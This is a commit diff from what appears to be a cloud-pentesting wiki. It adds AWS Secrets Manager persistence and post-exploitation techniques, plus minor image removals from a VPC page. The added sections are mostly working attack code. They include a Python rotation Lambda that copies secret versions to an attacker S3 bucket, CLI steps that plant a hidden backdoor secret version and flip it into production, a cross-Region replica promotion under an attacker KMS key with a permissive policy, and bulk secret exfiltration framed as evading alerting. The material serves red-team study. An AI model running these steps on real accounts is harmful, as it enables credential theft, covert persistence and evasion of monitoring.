Skip to content

Commit 0f213ea

Browse files
committed
aws secrets manager recheck
1 parent 4bc4e19 commit 0f213ea

File tree

3 files changed

+241
-10
lines changed

3 files changed

+241
-10
lines changed

src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md

Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,3 +55,196 @@ def generate_password():
5555

5656

5757

58+
59+
### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
60+
61+
Abuse `secretsmanager:RotateSecret` to rebind a secret to an attacker-controlled rotation Lambda and trigger an immediate rotation. The malicious function exfiltrates the secret versions (AWSCURRENT/AWSPENDING) during the rotation steps (createSecret/setSecret/testSecret/finishSecret) to an attacker sink (e.g., S3 or external HTTP).
62+
63+
- Requirements
64+
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
65+
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
66+
67+
- Impact
68+
- The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well.
69+
70+
- Attack steps (CLI)
71+
1) Prepare attacker sink and Lambda role
72+
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
73+
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
74+
3) Rebind rotation and trigger
75+
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
76+
4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
77+
5) (Optional) Restore the original rotation Lambda to reduce detection.
78+
79+
- Example attacker Lambda (Python) exfiltrating to S3
80+
- Environment: `EXFIL_BUCKET=<bucket>`
81+
- Handler: `lambda_function.lambda_handler`
82+
83+
```python
84+
import boto3, json, os, base64, datetime
85+
s3 = boto3.client('s3')
86+
sm = boto3.client('secretsmanager')
87+
BUCKET = os.environ['EXFIL_BUCKET']
88+
89+
def write_s3(key, data):
90+
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
91+
92+
def lambda_handler(event, context):
93+
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
94+
# Exfil both stages best-effort
95+
def getv(**kw):
96+
try:
97+
r = sm.get_secret_value(**kw)
98+
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
99+
except Exception as e:
100+
return {'error': str(e)}
101+
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
102+
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
103+
key = f"{sid.replace(':','_')}/{step}/{token}.json"
104+
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
105+
# Minimal rotation (optional): copy current->pending and promote in finishSecret
106+
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
107+
```
108+
109+
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
110+
111+
Abuse Secrets Manager version staging labels to plant an attacker-controlled secret version and keep it hidden under a custom stage (for example, `ATTACKER`) while production continues to use the original `AWSCURRENT`. At any moment, move `AWSCURRENT` to the attacker’s version to poison dependent workloads, then restore it to minimize detection. This provides stealthy backdoor persistence and rapid time-of-use manipulation without changing the secret name or rotation config.
112+
113+
- Requirements
114+
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
115+
- Target secret id in the Region.
116+
117+
- Impact
118+
- Maintain a hidden, attacker-controlled version of a secret and atomically flip `AWSCURRENT` to it on demand, influencing any consumer resolving the same secret name. The flip and quick revert reduce the chance of detection while enabling time-of-use compromise.
119+
120+
- Attack steps (CLI)
121+
- Preparation
122+
- `export SECRET_ID=<target secret id or arn>`
123+
124+
<details>
125+
<summary>CLI commands</summary>
126+
127+
```bash
128+
# 1) Capture current production version id (the one holding AWSCURRENT)
129+
CUR=$(aws secretsmanager list-secret-version-ids \
130+
--secret-id "$SECRET_ID" \
131+
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
132+
--output text)
133+
134+
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
135+
BACKTOK=$(uuidgen)
136+
aws secretsmanager put-secret-value \
137+
--secret-id "$SECRET_ID" \
138+
--client-request-token "$BACKTOK" \
139+
--secret-string {backdoor:hunter2!}
140+
141+
# 3) Restore production and hide attacker version under custom stage
142+
aws secretsmanager update-secret-version-stage \
143+
--secret-id "$SECRET_ID" \
144+
--version-stage AWSCURRENT \
145+
--move-to-version-id "$CUR" \
146+
--remove-from-version-id "$BACKTOK"
147+
148+
aws secretsmanager update-secret-version-stage \
149+
--secret-id "$SECRET_ID" \
150+
--version-stage ATTACKER \
151+
--move-to-version-id "$BACKTOK"
152+
153+
# Verify stages
154+
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
155+
156+
# 4) On-demand flip to the attacker’s value and revert quickly
157+
aws secretsmanager update-secret-version-stage \
158+
--secret-id "$SECRET_ID" \
159+
--version-stage AWSCURRENT \
160+
--move-to-version-id "$BACKTOK" \
161+
--remove-from-version-id "$CUR"
162+
163+
# Validate served plaintext now equals the attacker payload
164+
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
165+
166+
# Revert to reduce detection
167+
aws secretsmanager update-secret-version-stage \
168+
--secret-id "$SECRET_ID" \
169+
--version-stage AWSCURRENT \
170+
--move-to-version-id "$CUR" \
171+
--remove-from-version-id "$BACKTOK"
172+
```
173+
174+
</details>
175+
176+
- Notes
177+
- When you supply `--client-request-token`, Secrets Manager uses it as the `VersionId`. Adding a new version without explicitly setting `--version-stages` moves `AWSCURRENT` to the new version by default, and marks the previous one as `AWSPREVIOUS`.
178+
179+
180+
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
181+
182+
Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.
183+
184+
- Requirements
185+
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
186+
- In the replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) to allow the attacker principal `kms:Decrypt`.
187+
- An attacker principal (user/role) to receive read access to the promoted secret.
188+
189+
- Impact
190+
- Persistent cross-Region access path to the secret value through a standalone replica under an attacker-controlled KMS CMK and permissive resource policy. The primary secret in the original Region is untouched.
191+
192+
- Attack (CLI)
193+
- Vars
194+
195+
```bash
196+
export R1=<primary-region> # e.g., us-east-1
197+
export R2=<replica-region> # e.g., us-west-2
198+
export SECRET_ID=<secret name or ARN in R1>
199+
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
200+
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
201+
```
202+
203+
1) Create attacker-controlled KMS key in replica Region
204+
205+
```bash
206+
cat > /tmp/kms_policy.json <<'JSON'
207+
{"Version":"2012-10-17","Statement":[
208+
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
209+
]}
210+
JSON
211+
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
212+
--query KeyMetadata.KeyId --output text)
213+
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
214+
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
215+
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
216+
```
217+
218+
2) Replicate the secret to R2 using the attacker KMS key
219+
220+
```bash
221+
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
222+
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
223+
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
224+
```
225+
226+
3) Promote the replica to standalone in R2
227+
228+
```bash
229+
# Use the secret name (same across Regions)
230+
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
231+
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
232+
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
233+
```
234+
235+
4) Attach permissive resource policy on the standalone secret in R2
236+
237+
```bash
238+
cat > /tmp/replica_policy.json <<JSON
239+
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
240+
JSON
241+
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
242+
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
243+
```
244+
245+
5) Read the secret from the attacker principal in R2
246+
247+
```bash
248+
# Configure attacker credentials and read
249+
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
250+
```

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -57,3 +57,51 @@ aws secretsmanager delete-secret \
5757

5858

5959

60+
61+
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
62+
63+
Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. This can dramatically reduce API-call volume compared to iterating GetSecretValue per secret. If filters are used (tags/name), ListSecrets permission is also required. CloudTrail still records one GetSecretValue event per secret retrieved in the batch.
64+
65+
Required permissions
66+
- secretsmanager:BatchGetSecretValue
67+
- secretsmanager:GetSecretValue for each target secret
68+
- secretsmanager:ListSecrets if using --filters
69+
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
70+
71+
> [!WARNING]
72+
> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve.
73+
74+
Exfiltrate by explicit list
75+
```bash
76+
aws secretsmanager batch-get-secret-value \
77+
--secret-id-list <secret1> <secret2> <secret3> \
78+
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
79+
```
80+
81+
Exfiltrate by filters (tag key/value or name prefix)
82+
```bash
83+
# By tag key
84+
aws secretsmanager batch-get-secret-value \
85+
--filters Key=tag-key,Values=env \
86+
--max-results 20 \
87+
--query 'SecretValues[].{Name:Name,Val:SecretString}'
88+
89+
# By tag value
90+
aws secretsmanager batch-get-secret-value \
91+
--filters Key=tag-value,Values=prod \
92+
--max-results 20
93+
94+
# By name prefix
95+
aws secretsmanager batch-get-secret-value \
96+
--filters Key=name,Values=MyApp
97+
```
98+
99+
Handling partial failures
100+
```bash
101+
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
102+
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
103+
```
104+
105+
Impact
106+
- Rapid “smash-and-grab” of many secrets with fewer API calls, potentially bypassing alerting tuned to spikes of GetSecretValue.
107+
- CloudTrail logs still include one GetSecretValue event per secret retrieved by the batch.

src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md

Lines changed: 0 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -36,10 +36,6 @@ Subnets helps to enforce a greater level of security. **Logical grouping of simi
3636
- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use.
3737
- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.**
3838

39-
<figure><img src="https://lh5.googleusercontent.com/N_WTrTrDAHwN61FMKJvLSHVua2EM0IazHH1fSTg8JQfTChm-dLN9mn7wkjz2MlpD-uOUqtWdMZpqKOp4VxaHy5-5X66GD1K8y1UGc27r-GbHdFty9ImpXdcjEsC7u4vjxKme_B_HwDOUnG6camxENYECTw=s2048" alt=""><figcaption></figcaption></figure>
40-
41-
<figure><img src="https://lh3.googleusercontent.com/MmjfVzGmV4jM7tO8lVoTKONoeqbq6E40DGeKUoo4kN-lmMDKnEiGNB-gGVx3EvjK9UV844im225CA8aAjomHf1Modt3MramHrHZdEGbeSZncWhVuT9R8f7tQZ2pXjdSJxeNfErmJ-0mmcUaV6dcU0TAd2A=s2048" alt=""><figcaption></figcaption></figure>
42-
4339
### Route Tables
4440

4541
Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the:
@@ -50,12 +46,6 @@ Route tables determine the traffic routing for a subnet within a VPC. They deter
5046
- In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC.
5147
- VPC endpoints (to access S3 from private networks)
5248

53-
In the following images you can check the differences in a default public network and a private one:
54-
55-
<figure><img src="https://lh3.googleusercontent.com/q4ASpcLAYqijdNMLhMLl8EoowDtTMU5I_7YCVfk7-5hxDyeQOik9ImHnD2SYy32XUA2qXjEbXTAxA1lP--znJASdhYOdBveDcrD42f9XBKZ3EmjJCazN3YPLC6oS0xtRMmfORuwCszmMt-KrAkH07_izwg=s2048" alt=""><figcaption></figcaption></figure>
56-
57-
<figure><img src="https://lh5.googleusercontent.com/30psylXAI0gRN6_LK-reP00aGIlMma64E1qafCVPunn6nS-y5jAO6Y2JiempKcf6-LFi7ScicYcOh7BbHEya2VWtksnFX_8SPXQf97tKkg2tNZzrArWbiDCCn2m2LP1QUq6MZ_KayH3yir7t8zpO7CEQOw=s2048" alt=""><figcaption></figcaption></figure>
58-
5949
### ACLs
6050

6151
**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges.

0 commit comments

Comments
 (0)